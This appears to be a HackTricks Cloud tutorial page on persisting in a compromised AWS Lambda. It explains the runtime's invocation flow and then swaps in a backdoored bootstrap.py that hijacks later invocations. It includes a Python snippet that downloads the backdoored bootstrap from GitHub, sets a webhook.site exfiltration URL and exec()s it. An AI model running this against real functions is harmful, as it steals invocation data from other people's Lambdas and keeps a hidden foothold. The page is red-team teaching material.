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90 lines
6.3 KiB
Markdown
90 lines
6.3 KiB
Markdown
# AWS - Steal Lambda Requests
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Lambda Flow
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<figure><img src="../../../../.gitbook/assets/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
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1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
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2. The init process listens on port **9001** exposing some interesting endpoints:
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* **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
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* **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
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* **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
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3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
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4. Finally, **bootstrap.py** sends to init the **response**
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Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
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## Stealing Lambda Requests
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The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
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This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
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* **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
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* A request must be sent to **`/${invoke-id}/response`**
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* The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
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* Execute a malicious **`boostrap.py`** which will handle the next invocations
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* For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
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* For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
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### Attack Steps
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1. Find a **RCE** vulnerability.
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2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda\_bootstrap\_switcher/main/backdoored\_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
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3. **Execute** the malicious bootstrap.
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You can easily perform these actions running:
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```bash
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python3 <<EOF
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import os
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import urllib3
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# Download backdoored bootstrap
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http = urllib3.PoolManager()
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backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
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new_runtime = http.request('GET', backdoored_bootstrap_url).data
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# Load new bootstrap
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os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
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exec(new_runtime)
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EOF
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```
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For more info check [https://github.com/carlospolop/lambda\_bootstrap\_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
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## References
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* [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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